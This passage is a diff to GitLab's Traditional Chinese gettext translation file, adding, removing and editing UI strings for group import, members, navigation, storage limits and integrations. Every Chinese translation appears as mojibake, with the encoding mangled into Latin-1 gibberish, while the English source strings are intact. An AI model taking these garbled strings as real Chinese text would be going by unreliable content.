msgstr "如果您在一個群組下組織專案,它的工作方å¼å°±åƒä¸€å€‹æ–‡ä»¶å¤¾ã€‚"
+msgid "GroupsEmptyState|No archived projects."
+msgstr "ç„¡å·²å°å­˜çš„專案。"
+
msgid "GroupsEmptyState|No groups found"
msgstr "找ä¸åˆ°ç¾¤çµ„"
+msgid "GroupsEmptyState|No shared projects."
+msgstr "無已分享的專案。"
+
msgid "GroupsEmptyState|No subgroups or projects."
msgstr "沒有å­ç¾¤çµ„或專案"
@@ -19656,6 +19867,9 @@ msgstr "匯入群組"
msgid "GroupsNew|Import groups from another instance of GitLab"
msgstr "從å¦ä¸€å€‹GitLab實例匯入群組"
+msgid "GroupsNew|Importing groups by direct transfer is currently disabled."
+msgstr "ç›®å‰å·²åœç”¨é€éŽç›´æŽ¥å‚³è¼¸åŒ¯å…¥ç¾¤çµ„。"
+
msgid "GroupsNew|No import options available"
msgstr "GroupsNew|沒有å¯ç”¨çš„匯入é¸é …"
@@ -19665,6 +19879,12 @@ msgstr "並éžæ‰€æœ‰ç›¸é—œç‰©ä»¶éƒ½å·²é·ç§»ã€‚%{docs_link_start}更多訊æ¯%{d
msgid "GroupsNew|Personal access token"
msgstr "GroupsNew|個人存å–權æ–(令牌)(access token)"
+msgid "GroupsNew|Please %{admin_link_start}enable it in the Admin settings%{admin_link_end}."
+msgstr "è«‹%{admin_link_start}在管ç†è¨­å®šä¸­å•Ÿç”¨å®ƒ%{admin_link_end}。"
+
+msgid "GroupsNew|Please ask your Administrator to enable it in the Admin settings."
+msgstr "è«‹è¦æ±‚您的管ç†å“¡åœ¨ç®¡ç†è¨­å®šä¸­å•Ÿç”¨å®ƒã€‚"
+
msgid "GroupsNew|Please fill in GitLab source URL."
msgstr "GroupsNew|請填寫 GitLab 來æºç¶²å€ã€‚"
@@ -19674,6 +19894,9 @@ msgstr "GroupsNew|請填寫您的個人存å–權æ–(令牌)。"
msgid "GroupsNew|Provide credentials for another instance of GitLab to import your groups directly."
msgstr "為å¦ä¸€å€‹ GitLab 實例æ供憑據以直接匯入您的群組。"
+msgid "GroupsNew|Remember to enable it also on the instance you are migrating from."
+msgstr "請記得在來æºçš„ç«™å°ä¸Šä¹Ÿå•Ÿç”¨å®ƒã€‚"
+
msgid "GroupsNew|This feature is deprecated and replaced by %{docs_link_start}group migration%{docs_link_end}."
msgstr "此功能已棄用並由%{docs_link_start}群組é·ç§»%{docs_link_end}å–代。"
@@ -19791,6 +20014,9 @@ msgstr "HAR 文件 URL"
msgid "HAR file path or URL"
msgstr "HAR 文件路徑或 URL"
+msgid "HTML script tag"
+msgstr "HTML 指令稿標籤"
+
msgid "HTTP Archive (HAR)"
msgstr "HTTP 存檔 (HAR)"
@@ -20098,6 +20324,12 @@ msgstr "是å¦æœ‰æ‚¨å¸Œæœ›åœ¨ GitLab 中存å–的框架或工作項類型?給æ
msgid "Hierarchy|Planning hierarchy"
msgstr "è¦åŠƒå±¤æ¬¡çµæ§‹"
+msgid "Hierarchy|Something went wrong while fetching children."
+msgstr "æ“·å–å­é …目時發生錯誤。"
+
+msgid "Hierarchy|Something went wrong while removing a child item."
+msgstr "移除å­é …目時發生錯誤。"
+
msgid "Hierarchy|Take the work items survey"
msgstr "åƒåŠ å·¥ä½œäº‹é …調查"
@@ -20512,9 +20744,6 @@ msgstr "如果啟用,則åªæœƒæ˜ åƒå—ä¿è­·çš„分支。"
msgid "If no options are selected, only administrators can register runners."
msgstr "如果未é¸å–任何é¸é …,則åªæœ‰ç®¡ç†å“¡å¯ä»¥è¨»å†ŠåŸ·è¡Œå™¨ã€‚"
-msgid "If none of the options work, try contacting a GitLab administrator."
-msgstr "如果這些é¸é …都ä¸èµ·ä½œç”¨ï¼Œè«‹å˜—試è¯çµ¡ GitLab 管ç†å“¡ã€‚"
-
msgid "If the number of active users exceeds the user limit, you will be charged for the number of %{users_over_license_link} at your next license reconciliation."
msgstr "若啟用的使用者數é‡è¶…éŽé™åˆ¶ï¼Œæ‚¨å°‡æœƒåœ¨ä¸‹æ¬¡çºŒç´„æ™‚è¢«æ”¶å– %{users_over_license_link} 人的費用"
@@ -20536,6 +20765,9 @@ msgstr "如使用 GitHub,GitHub çš„æ交 (commits) å’Œæå–è¦æ±‚ (pull requ
msgid "If you add %{codeStart}needs%{codeEnd} to jobs in your pipeline you'll be able to view the %{codeStart}needs%{codeEnd} relationships between jobs in this tab as a %{linkStart}Directed Acyclic Graph (DAG)%{linkEnd}."
msgstr "如果將%{codeStart}needs%{codeEnd}加到æµæ°´ç·šçš„作業裡é¢ï¼Œæ‚¨å°‡å¯ä»¥åœ¨%{linkStart}有å‘無環圖 (DAG)%{linkEnd}é é¢çœ‹åˆ°ä½œæ¥­ä¹‹é–“çš„%{codeStart}needs%{codeEnd}關係。"
+msgid "If you are unable to sign in or recover your password, contact a GitLab administrator."
+msgstr "若您無法登入或還原您的密碼,請è¯çµ¡ GitLab 管ç†å“¡ã€‚"
+
msgid "If you did not initiate these sign-in attempts, please reach out to your administrator or enable two-factor authentication (2FA) on your account."
msgstr "如果您沒有發起這些登入嘗試,請è¯ç¹«æ‚¨çš„管ç†å“¡æˆ–在您的帳號上啟用雙é‡èº«ä»½é©—證(2FA)。"
@@ -20754,12 +20986,24 @@ msgstr "進階匯入設定"
msgid "ImportProjects|Blocked import URL: %{message}"
msgstr "ç¦æ­¢çš„匯入URL: %{message}"
+msgid "ImportProjects|Cancel import"
+msgstr "å–消匯入"
+
+msgid "ImportProjects|Cancelling project import failed"
+msgstr "å–消專案匯入失敗"
+
+msgid "ImportProjects|Cancelling project import failed: %{reason}"
+msgstr "å–消專案匯入失敗:%{reason}"
+
msgid "ImportProjects|Error importing repository %{project_safe_import_url} into %{project_full_path} - %{message}"
msgstr "將版本庫 %{project_safe_import_url} 匯入到 %{project_full_path} 時發生錯誤:%{message}"
msgid "ImportProjects|Import repositories"
msgstr "匯入倉庫"
+msgid "ImportProjects|Imported files will be kept. You can import this repository again later."
+msgstr "已匯入的檔案將被ä¿ç•™ã€‚您å¯ä»¥ç¨å€™å†æ¬¡åŒ¯å…¥æ­¤ç‰ˆæœ¬åº«ã€‚"
+
msgid "ImportProjects|Importing the project failed"
msgstr "匯入專案失敗"
@@ -21817,8 +22061,8 @@ msgstr "洞察"
msgid "Insights|Configure a custom report for insights into your group processes such as amount of issues, bugs, and merge requests per month. %{linkStart}How do I configure an insights report?%{linkEnd}"
msgstr "設定有關團隊æµç¨‹çš„自定義洞察報告,例如æ¯æœˆçš„è­°é¡Œã€éŒ¯èª¤èˆ‡åˆä½µè«‹æ±‚數é‡ã€‚ %{linkStart}如何設定洞察報告?%{linkEnd}"
-msgid "Insights|Some items are not visible beacuse the project was filtered out in the insights.yml file (see the projects.only config for more information)."
-msgstr "有些æ¢ç›®ä¸å¯è¦‹ï¼Œç”±æ–¼å·²åœ¨insights.yml文件中éŽæ¿¾æŽ‰(見projects.onlyé…置以瞭解更多訊æ¯)。"
+msgid "Insights|Some items are not visible beacuse the project was filtered out in the insights.yml file (see the projects.only config in the YAML file or the enabled project features (issues, merge requests) in the project settings)."
+msgstr "æŸäº›é …ç›®ä¸å¯è¦‹ï¼Œå› ç‚ºå°ˆæ¡ˆåœ¨ insights.yml 專案中被éŽæ¿¾æŽ‰ï¼ˆè«‹åƒé–± YAML 檔案中的 projects.only 設定或專案設定中啟用的專案功能(議題ã€åˆä½µè«‹æ±‚))。"
msgid "Insights|This project is filtered out in the insights.yml file (see the projects.only config for more information)."
msgstr "此專案已在insights.yml文件中éŽæ¿¾æŽ‰(見projects.onlyé…置以瞭解更多訊æ¯)。"
@@ -21878,9 +22122,18 @@ msgstr "å°è­°é¡Œå¢žåŠ ç•™è¨€"
msgid "IntegrationEvents|A confidential issue is created, updated, or closed"
msgstr "建立ã€æ›´æ–°æˆ–關閉機密議題"
+msgid "IntegrationEvents|A deployment is started or finished"
+msgstr "部署已開始或已完æˆ"
+
msgid "IntegrationEvents|A merge request is created, updated, or merged"
msgstr "åˆä½µè«‹æ±‚已建立ã€æ›´æ–°æˆ–åˆä½µ"
+msgid "IntegrationEvents|A new, unique alert is recorded"
+msgstr "記錄到一個新的ã€ç¨ä¸€ç„¡äºŒçš„警報"
+
+msgid "IntegrationEvents|A new, unique, vulnerability is recorded. (Note: This feature requires an Ultimate plan)"
+msgstr "記錄到一個新的ã€ç¨ä¸€ç„¡äºŒçš„æ¼æ´žã€‚(注æ„ï¼šæ­¤åŠŸèƒ½éœ€è¦ Ultimate 方案)"
+
msgid "IntegrationEvents|A pipeline status changes"
msgstr "æµæ°´ç·šç‹€æ…‹è®Šæ›´"
@@ -22031,6 +22284,9 @@ msgstr "包括æ交標題和分支。"
msgid "Integrations|Instance-level integration management"
msgstr "實體層級整åˆç®¡ç†"
+msgid "Integrations|Integration details"
+msgstr "æ•´åˆè©³ç´°è³‡è¨Š"
+
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
msgstr "當議題在Jira中設定的專案中建立後,Jira中建立的議題會顯示於此。"
@@ -23232,6 +23488,9 @@ msgstr "Jira 實例的基礎 URL。"
msgid "JiraService|Change GitLab version"
msgstr "變更 GitLab 版本"
+msgid "JiraService|Continue setup in GitLab"
+msgstr "繼續在 GitLab 中設定"
+
msgid "JiraService|Define the type of Jira issue to create from a vulnerability."
msgstr "定義è¦å¾žæ¼æ´žå»ºç«‹çš„ Jira 議題的類型。"
@@ -23280,6 +23539,9 @@ msgstr "ID 必須是å¯ä»¥ç”¨ , 或 ; 分割的數字列表"
msgid "JiraService|If different from Web URL."
msgstr "如果與 Web URL ä¸åŒã€‚"
+msgid "JiraService|In order to complete the set up, you’ll need to complete a few steps in GitLab."
+msgstr "為了完æˆè¨­å®šï¼Œæ‚¨å¿…須在 GitLab 中完æˆå¹¾å€‹æ­¥é©Ÿã€‚"
+
msgid "JiraService|Issues created from vulnerabilities in this project will be Jira issues, even if GitLab issues are enabled."
msgstr "由該專案中的æ¼æ´žå»ºç«‹çš„å•é¡Œå°‡æ˜¯ Jira å•é¡Œï¼Œå³ä½¿å•Ÿç”¨äº† GitLab å•é¡Œã€‚"
@@ -23424,9 +23686,6 @@ msgstr "早於設定時間的作業被視為已éŽæœŸä¸¦å·²å­˜æª”。無法å†é‡
msgid "Jobs|All"
msgstr "全部"
-msgid "Jobs|An error occurred while loading the Failed Jobs tab."
-msgstr "載入失敗的作業é æ™‚發生錯誤。"
-
msgid "Jobs|Are you sure you want to proceed?"
msgstr "確定è¦ç¹¼çºŒå—Ž?"
@@ -23742,9 +24001,6 @@ msgstr "Kuberneteså¢é›†"
msgid "Kubernetes cluster"
msgstr "Kubernetes å¢é›†"
-msgid "Kubernetes cluster creation time exceeds timeout; %{timeout}"
-msgstr "Kuberneteså¢é›†å»ºç«‹æ™‚間超éŽè¶…時; %{timeout}"
-
msgid "Kubernetes cluster integration and resources are being removed."
msgstr "Kuberneteså¢é›†æ•´åˆå’Œè³‡æºæ­£åœ¨è¢«åˆªé™¤ã€‚"
@@ -23903,9 +24159,6 @@ msgstr "最新æµæ°´ç·š"
msgid "Last Seen"
msgstr "最後出ç¾"
-msgid "Last Sync"
-msgstr "最近åŒæ­¥"
-
msgid "Last Used"
msgstr "最近使用"
@@ -24038,6 +24291,9 @@ msgstr "瞭解更多"
msgid "Learn More."
msgstr "瞭解更多。"
+msgid "Learn about signing commits"
+msgstr "å–得更多關於簽署æ交的資訊"
+
msgid "Learn about signing commits with SSH keys."
msgstr "了解如何使用 SSH 密鑰簽署æ交。"
@@ -24107,9 +24363,6 @@ msgstr "了解更多關於欠缺席次的資訊"
msgid "Learn more about shards and replicas in the %{configuration_link_start}Advanced Search configuration%{configuration_link_end} documentation. Changes don't take place until you %{recreated_link_start}recreate%{recreated_link_end} the index."
msgstr "在 %{configuration_link_start}進階æœå°‹è¨­å®š%{configuration_link_end} 中了解更多關於切片和副本的訊æ¯ï¼Œç›´åˆ°æ‚¨ %{recreated_link_start}é‡æ–°å»ºç«‹%{recreated_link_end} 索引,æ‰èƒ½é€²è¡Œæ›´æ”¹ã€‚"
-msgid "Learn more about signing commits"
-msgstr "了解更多有關簽åæ交的詳細訊æ¯"
-
msgid "Learn more in the"
msgstr "了解更多"
@@ -24857,6 +25110,9 @@ msgstr "使用Web IDE在ç€è¦½å™¨ä¸­å»ºç«‹å’ŒæŸ¥çœ‹æ›´æ”¹"
msgid "Make everyone on your team more productive regardless of their location. GitLab Geo creates read-only mirrors of your GitLab instance so you can reduce the time it takes to clone and fetch large repos."
msgstr "GitLab Geoå¯ä»¥å»ºç«‹GitLab實體的唯讀é¡åƒ, 使得從é ç«¯è¤‡è£½å’Œæ‹‰å–大型程å¼ç¢¼ç‰ˆæœ¬åº«çš„時間大大縮短,從而æ高團隊æˆå“¡çš„工作效率。"
+msgid "Make new users' profiles private by default"
+msgstr "é è¨­å°‡æ–°ä½¿ç”¨è€…的個人檔案設為ç§æœ‰"
+
msgid "Make sure you choose a strong, unique password."
msgstr "確定您é¸æ“‡äº†ä¸€å€‹é«˜å¼·åº¦ä¸”唯一的密碼。"
@@ -24872,9 +25128,6 @@ msgstr "將該 %{type} 設為機密。"
msgid "Manage %{workspace} labels"
msgstr "ç®¡ç† %{workspace} 標記"
-msgid "Manage Dashboards"
-msgstr "管ç†å„€è¡¨æ¿"
-
msgid "Manage Web IDE features."
msgstr "ç®¡ç† Web IDE 功能。"
@@ -24974,6 +25227,9 @@ msgstr "將此議題標記為與å¦ä¸€å€‹è­°é¡Œçš„相關"
msgid "Mark to do as done"
msgstr "將待辦事項標記為已完æˆã€‚"
+msgid "Markdown"
+msgstr "Markdown"
+
msgid "Markdown Help"
msgstr "Markdown 幫助"
@@ -25043,9 +25299,6 @@ msgstr "標記為已準備好。ç¾åœ¨å…許åˆä½µã€‚"
msgid "Marked this %{noun} as ready."
msgstr "已將 %{noun} 標記為準備就緒。"
-msgid "Marked this issue as a duplicate of %{duplicate_param}."
-msgstr "標記這個議題為%{duplicate_param}çš„é‡è¤‡é …。"
-
msgid "Marked this issue as related to %{issue_ref}."
msgstr "將此議題標記為%{issue_ref}的相關議題。"
@@ -25058,9 +25311,6 @@ msgstr "標記"
msgid "Marks this %{noun} as ready."
msgstr "標記該 %{noun} 為準備就緒。"
-msgid "Marks this issue as a duplicate of %{duplicate_reference}."
-msgstr "將此議題標記為 %{duplicate_reference} çš„é‡è¤‡ã€‚"
-
msgid "Marks this issue as related to %{issue_ref}."
msgstr "將此議題標記為%{issue_ref}的相關議題。"
@@ -25400,6 +25650,9 @@ msgstr "邀請加入 %{project_or_group} %{project_or_group_name}"
msgid "MemberRole|can't be changed"
msgstr "無法被變更"
+msgid "MemberRole|cannot be changed because it is already assigned to a user. Please create a new Member Role instead"
+msgstr "無法變更,因為其已指派給使用者。請改為建立新的æˆå“¡è§’色"
+
msgid "MemberRole|must be top-level namespace"
msgstr "必須是最上層的命å空間"
@@ -25435,6 +25688,9 @@ msgstr[0] "您的訂閱包括 %d 個席次。"
msgid "Membership"
msgstr "æˆå“¡è³‡æ ¼"
+msgid "Members|%{group} by %{createdBy}"
+msgstr "æ–¼ %{group} ç”± %{createdBy}"
+
msgid "Members|%{time} by %{user}"
msgstr "æ–¼%{time}ç”±%{user}"
@@ -25444,6 +25700,21 @@ msgstr "%{userName}當å‰æ˜¯LDAP使用者。編輯其權é™å°‡è¦†è“‹LDAP群組å
msgid "Members|2FA"
msgstr "2FA"
+msgid "Members|A group must have at least one owner. To leave this group, assign a new owner."
+msgstr ""
+
+msgid "Members|A group must have at least one owner. To remove the member, assign a new owner."
+msgstr ""
+
+msgid "Members|A personal project's owner cannot be removed."
+msgstr ""
+
+msgid "Members|Access granted"
+msgstr "已授予存å–權é™"
+
+msgid "Members|Activity"
+msgstr "活動"
+
msgid "Members|An error occurred while trying to enable LDAP override, please try again."
msgstr "嘗試啟用LDAP覆蓋時發生錯誤,請é‡è©¦ã€‚"
@@ -25465,11 +25736,11 @@ msgstr "您確定è¦é›¢é–‹\"%{source}\"嗎?"
msgid "Members|Are you sure you want to remove \"%{groupName}\"?"
msgstr "您確定è¦ç§»é™¤\"%{groupName}\"嗎?"
-msgid "Members|Are you sure you want to remove %{usersName} from \"%{source}\"?"
-msgstr "您確定è¦å¾žã€Œ%{source}ã€ä¸­ç§»é™¤%{usersName}嗎?"
+msgid "Members|Are you sure you want to remove %{userName} from \"%{group}\"?"
+msgstr "您確定è¦å¾žã€Œ%{group}ã€ä¸­ç§»é™¤%{userName}嗎?"
-msgid "Members|Are you sure you want to remove this orphaned member from \"%{source}\"?"
-msgstr "您確定è¦å¾žã€Œ%{source}ã€ä¸­ç§»é™¤é€™å€‹å­¤ç«‹çš„æˆå“¡å—Žï¼Ÿ"
+msgid "Members|Are you sure you want to remove this orphaned member from \"%{group}\"?"
+msgstr "您確定è¦å¾žã€Œ%{group}ã€ä¸­ç§»é™¤é€™å€‹å­¤ç«‹çš„æˆå“¡å—Žï¼Ÿ"
msgid "Members|Are you sure you want to revoke the invitation for %{inviteEmail} to join \"%{source}\""
msgstr "您確定è¦æ’¤éŠ· %{inviteEmail} 加入\"%{source}\"的邀請嗎"
@@ -25477,9 +25748,15 @@ msgstr "您確定è¦æ’¤éŠ· %{inviteEmail} 加入\"%{source}\"的邀請嗎"
msgid "Members|Are you sure you want to withdraw your access request for \"%{source}\""
msgstr "你確定想è¦æ’¤å›žä½ å°%{source}å­˜å–請求嗎"
+msgid "Members|Cannot leave \"%{source}\""
+msgstr ""
+
msgid "Members|Direct"
msgstr "直接"
+msgid "Members|Direct member by %{createdBy}"
+msgstr "%{createdBy} 的直接æˆå“¡"
+
msgid "Members|Disabled"
msgstr "å·²åœç”¨"
@@ -25507,6 +25784,9 @@ msgstr "繼承"
msgid "Members|LDAP override enabled."
msgstr "LDAP覆蓋已啟用。"
+msgid "Members|Last activity"
+msgstr "上次活動"
+
msgid "Members|Leave \"%{source}\""
msgstr "離開\"%{source}\""
@@ -25534,6 +25814,12 @@ msgstr "æœå°‹ç¾¤çµ„"
msgid "Members|Search invited"
msgstr "查詢已邀請"
+msgid "Members|User created"
+msgstr "使用者已建立"
+
+msgid "Members|You cannot remove yourself from a personal project."
+msgstr ""
+
msgid "Member|Deny access"
msgstr "拒絕存å–"
@@ -25819,11 +26105,14 @@ msgstr "關閉建議彈窗時發生錯誤。請å†è©¦ä¸€æ¬¡ã€‚"
msgid "MergeRequest|Error loading full diff. Please try again."
msgstr "載入完整差異時發生錯誤。請å†è©¦ä¸€æ¬¡ã€‚"
+msgid "MergeRequest|Failed to load the page"
+msgstr "載入é é¢å¤±æ•—"
+
msgid "MergeRequest|No files found"
msgstr "未找到任何文件"
-msgid "MergeRequest|Search (e.g. *.vue) (%{modifier_key}P)"
-msgstr "æœå°‹ï¼ˆä¾‹å¦‚ *.vue)(%{modifier_key}P)"
+msgid "MergeRequest|Search (e.g. *.vue) (%{MODIFIER_KEY}P)"
+msgstr "æœå°‹ï¼ˆä¾‹å¦‚ *.vue)(%{MODIFIER_KEY}P)"
msgid "MergeTopics|%{sourceTopic} will be removed"
msgstr "%{sourceTopic} 將被移除"
@@ -25882,6 +26171,9 @@ msgstr "消æ¯"
msgid "Messages"
msgstr "消æ¯"
+msgid "Metadata"
+msgstr "元數據"
+
msgid "Method"
msgstr "方法"
@@ -26307,6 +26599,12 @@ msgstr "æœå°‹é‡Œç¨‹ç¢‘"
msgid "MilestoneCombobox|Select milestone"
msgstr "é¸æ“‡é‡Œç¨‹ç¢‘"
+msgid "MilestonePage|Copy milestone ID"
+msgstr "複製里程碑ID"
+
+msgid "MilestonePage|Milestone ID: %{milestone_id}"
+msgstr "里程碑 ID:%{milestone_id}"
+
msgid "MilestoneSidebar|Closed:"
msgstr "關閉:"
@@ -26703,6 +27001,9 @@ msgstr "支æ´å¤šå€‹ IP 地å€ç¯„åœã€‚ä¸æœƒå½±éŸ¿å°ç¾¤çµ„設定的存å–。"
msgid "Multiple Prometheus integrations are not supported"
msgstr "ä¸æ”¯æ´å¤šå€‹Prometheusæ•´åˆ"
+msgid "Multiple signatures"
+msgstr "多é‡ç°½ç« "
+
msgid "Multiplier to apply to polling intervals. Decimal values are supported. Defaults to 1."
msgstr "應用於輪詢間隔的乘數。支æ´å進制值。é è¨­ç‚º 1。"
@@ -26727,6 +27028,9 @@ msgstr "新建"
msgid "Name"
msgstr "å稱"
+msgid "Name can contain only letters, digits, emojis, '_', '.', '+', dashes, or spaces"
+msgstr "å稱åªèƒ½åŒ…å«å­—æ¯ã€æ•¸å­—ã€è¡¨æƒ…符號ã€ã€Œ_ã€ã€ã€Œ.ã€ã€ã€Œ+ã€ã€ç ´æŠ˜è™Ÿæˆ–空格"
+
msgid "Name can't be blank"
msgstr "å稱ä¸èƒ½ç‚ºç©º"
@@ -26736,6 +27040,9 @@ msgstr "å稱已被使用"
msgid "Name is already taken."
msgstr "å稱已被佔用。"
+msgid "Name must start with a letter, digit, emoji, or '_'"
+msgstr "å稱必須以字æ¯ã€æ•¸å­—ã€è¡¨æƒ…符號或 '_' é–‹é ­"
+
msgid "Name new label"
msgstr "命å新標記"
@@ -26758,24 +27065,36 @@ msgid "NamespaceStorageSize|%{namespace_name} contains %{locked_project_count} l
msgid_plural "NamespaceStorageSize|%{namespace_name} contains %{locked_project_count} locked projects"
msgstr[0] "%{namespace_name}包å«%{locked_project_count}個鎖定的專案"
-msgid "NamespaceStorageSize|%{namespace_name} is now read-only. You cannot: %{base_message}"
-msgstr "%{namespace_name}ç›®å‰ç‚ºå”¯è®€ç‹€æ…‹ã€‚您ä¸èƒ½ï¼š%{base_message}"
+msgid "NamespaceStorageSize|%{namespace_name} is now read-only. Projects under this namespace are locked and actions are restricted."
+msgstr ""
+
+msgid "NamespaceStorageSize|If %{namespace_name} exceeds the storage quota, all projects in the namespace will be locked and actions will be restricted."
+msgstr ""
-msgid "NamespaceStorageSize|If you reach 100%% storage capacity, you will not be able to: %{base_message}"
-msgstr "如果您已使用100%%儲存容é‡ï¼Œæ‚¨å°‡ç„¡æ³•: %{base_message}"
+msgid "NamespaceStorageSize|If you reach 100%% storage capacity, you will not be able to: %{repository_limits_description}"
+msgstr ""
-msgid "NamespaceStorageSize|Please purchase additional storage to unlock your projects over the free %{free_size_limit} project limit. You can't %{base_message}"
-msgstr "請購買更多的儲存空間以解鎖超éŽå…è²»%{free_size_limit}é™åˆ¶çš„專案。您ä¸èƒ½ %{base_message}"
+msgid "NamespaceStorageSize|Manage your storage usage or, if you are a namespace Owner, purchase additional storage."
+msgstr ""
-msgid "NamespaceStorageSize|You have consumed all of your additional storage, please purchase more to unlock your projects over the free %{free_size_limit} limit. You can't %{base_message}"
-msgstr "您已經用盡所有更多的儲存空間,請購買更多空間以解鎖超éŽå…è²»%{free_size_limit}é™åˆ¶çš„專案。您ä¸èƒ½ %{base_message}"
+msgid "NamespaceStorageSize|Please purchase additional storage to unlock your projects over the free %{free_size_limit} project limit. You can't %{repository_limits_description}"
+msgstr ""
-msgid "NamespaceStorageSize|You have reached %{usage_in_percent} of %{namespace_name}'s storage capacity (%{used_storage} of %{storage_limit})"
-msgstr "您已使用了%{namespace_name}儲存空間的%{usage_in_percent}(總計%{storage_limit},已使用%{used_storage})"
+msgid "NamespaceStorageSize|Which actions are restricted?"
+msgstr ""
+
+msgid "NamespaceStorageSize|Which actions become restricted?"
+msgstr ""
+
+msgid "NamespaceStorageSize|You have consumed all of your additional storage, please purchase more to unlock your projects over the free %{free_size_limit} limit. You can't %{repository_limits_description}"
+msgstr ""
msgid "NamespaceStorageSize|You have reached the free storage limit of %{free_size_limit} on one or more projects."
msgstr "您已經é”到了一個或多個專案的 %{free_size_limit} çš„å…費儲存é™åˆ¶ã€‚"
+msgid "NamespaceStorageSize|You have used %{usage_in_percent} of the storage quota for %{namespace_name} (%{used_storage} of %{storage_limit})"
+msgstr ""
+
msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines."
msgstr "推é€åˆ°æ‚¨çš„版本庫,建立æµæ°´ç·šï¼Œå»ºç«‹è­°é¡Œæˆ–加入留言評論。如需減少儲存空間使用,請刪除未使用的版本庫,產物,wiki,議題和æµæ°´ç·šã€‚"
@@ -26869,6 +27188,27 @@ msgstr "淺紅"
msgid "NavigationTheme|Red"
msgstr "紅色"
+msgid "Navigation|Context navigation"
+msgstr "上下文導覽"
+
+msgid "Navigation|Recent groups"
+msgstr "最近的群組"
+
+msgid "Navigation|Recent projects"
+msgstr "最近的專案"
+
+msgid "Navigation|Switch to..."
+msgstr "切æ›è‡³â€¦â€¦"
+
+msgid "Navigation|View all groups"
+msgstr "檢視所有群組"
+
+msgid "Navigation|View all projects"
+msgstr "檢視所有專案"
+
+msgid "Navigation|Your work"
+msgstr "您的作å“"
+
msgid "Nav|Help"
msgstr "幫助"
@@ -26996,9 +27336,6 @@ msgstr "新增部署金鑰"
msgid "New directory"
msgstr "建立目錄"
-msgid "New discussion"
-msgstr "新增討論"
-
msgid "New email address added"
msgstr "已加入新電å­éƒµä»¶åœ°å€"
@@ -27314,9 +27651,6 @@ msgstr "無標記"
msgid "No labels with such name or description"
msgstr "沒有具有此類å稱或æ述的標記"
-msgid "No license. All rights reserved"
-msgstr "未設定授權æ¢æ¬¾ã€‚版權所有。"
-
msgid "No matches found"
msgstr "沒有找到符åˆé …"
@@ -27492,6 +27826,21 @@ msgstr "沒有任何群組里程碑與發布具有相åŒçš„專案"
msgid "Normal text"
msgstr "普通文本"
+msgid "NorthstarNavigation|Alpha"
+msgstr "Alpha"
+
+msgid "NorthstarNavigation|Could not update the new navigation preference. Please try again later."
+msgstr "無法更新新的導覽å好設定,請ç¨å¾Œå†è©¦ã€‚"
+
+msgid "NorthstarNavigation|Navigation redesign"
+msgstr "導覽é‡æ–°è¨­å®š"
+
+msgid "NorthstarNavigation|New navigation"
+msgstr "新導覽"
+
+msgid "NorthstarNavigation|Toggle new navigation"
+msgstr "切æ›æ–°å°Žè¦½"
+
msgid "Not all browsers support U2F devices. Therefore, we require that you set up a two-factor authentication app first. That way you'll always be able to sign in - even when you're using an unsupported browser."
msgstr "並éžæ‰€æœ‰ç€è¦½å™¨éƒ½æ”¯æ´ U2F è£ç½®ï¼Œå› æ­¤æˆ‘們è¦æ±‚您設定雙因å­é©—證程å¼ã€‚這樣å³ä½¿æ‚¨ä½¿ç”¨ä¸æ”¯æ´çš„ç€è¦½å™¨ä¹Ÿå¯ä»¥ç™»å…¥ã€‚"
@@ -28024,14 +28373,8 @@ msgstr "Nuget元資料必須至少設定license_url,project_url或icon_url"
msgid "Number of Elasticsearch shards and replicas per index:"
msgstr "æ¯å€‹ç´¢å¼•çš„ Elasticsearch 碎片和副本數:"
-msgid "Number of Git pushes after which %{code_start}git gc%{code_end} is run."
-msgstr "%{code_start}git gc%{code_end} 之後的 Git 推é€æ¬¡æ•¸ã€‚"
-
-msgid "Number of Git pushes after which a full %{code_start}git repack%{code_end} is run."
-msgstr "完整 %{code_start}git repack%{code_end} 後的 Git 推é€æ¬¡æ•¸ã€‚"
-
-msgid "Number of Git pushes after which an incremental %{code_start}git repack%{code_end} is run."
-msgstr "å¢žé‡ %{code_start}git repack%{code_end} 後的 Git 推é€æ¬¡æ•¸ã€‚"
+msgid "Number of Git pushes after which Gitaly is asked to optimize a repository."
+msgstr "è¦æ±‚ Gitaly 最佳化儲存庫後的 Git 推é€æ¬¡æ•¸ã€‚"
msgid "Number of LOCs per commit"
msgstr "æ¯æ¬¡æ交的程å¼ç¢¼è¡Œæ•¸"
@@ -28081,6 +28424,18 @@ msgstr "目標 "
msgid "Observability"
msgstr "å¯è§€å¯Ÿæ€§"
+msgid "Observability|Dashboards"
+msgstr ""
+
+msgid "Observability|Data sources"
+msgstr ""
+
+msgid "Observability|Explore"
+msgstr ""
+
+msgid "Observability|Manage dashboards"
+msgstr ""
+
msgid "Oct"
msgstr "10月"
@@ -28506,6 +28861,9 @@ msgstr "有一個或多個ä¾è³´é …文件ä¸è¢«æ”¯æ´ï¼Œä¸¦ä¸”ä¾è³´é …列表å¯
msgid "One or more of your personal access tokens has expired."
msgstr "您的一個或多個個人存å–令牌已éŽæœŸã€‚"
+msgid "One or more of your personal access tokens have expired."
+msgstr "您的一個或多個個人存å–權æ–å·²éŽæœŸã€‚"
+
msgid "One or more of your personal access tokens will expire in %{days_to_expire} days or less:"
msgstr "您的一個或多個個人存å–令牌將在 %{days_to_expire} 天或更短的時間內到期:"
@@ -28671,6 +29029,9 @@ msgstr "維é‹å„€è¡¨æ¿æä¾›æ¯å€‹å°ˆæ¡ˆçš„執行狀æ³çš„摘è¦ï¼ŒåŒ…括æµæ°´
msgid "Opstrace endpoint for Error Tracking integration"
msgstr "用於錯誤追踪整åˆçš„ Opstrace 端點"
+msgid "Optimize repository period"
+msgstr "最佳化儲存庫週期"
+
msgid "Optimize your workflow with CI/CD Pipelines"
msgstr "使用 CI/CD æµæ°´ç·šå„ªåŒ–您的工作æµç¨‹"
@@ -29095,12 +29456,6 @@ msgstr "Gradle Kotlin DSL安è£æŒ‡ä»¤"
msgid "PackageRegistry|Helm"
msgstr "Helm"
-msgid "PackageRegistry|Help us learn about your registry migration needs"
-msgstr "幫助我們了解您的註冊表é·ç§»éœ€æ±‚"
-
-msgid "PackageRegistry|If you are interested in migrating packages from your private registry to the GitLab Package Registry, take our survey and tell us more about your needs."
-msgstr "如果您有興趣將軟體套件從您的ç§æœ‰è¨»å†Šè¡¨é·ç§»åˆ° GitLab 的註冊表,請åƒèˆ‡æˆ‘們的調查並告訴我們更多關於您的需求。"
-
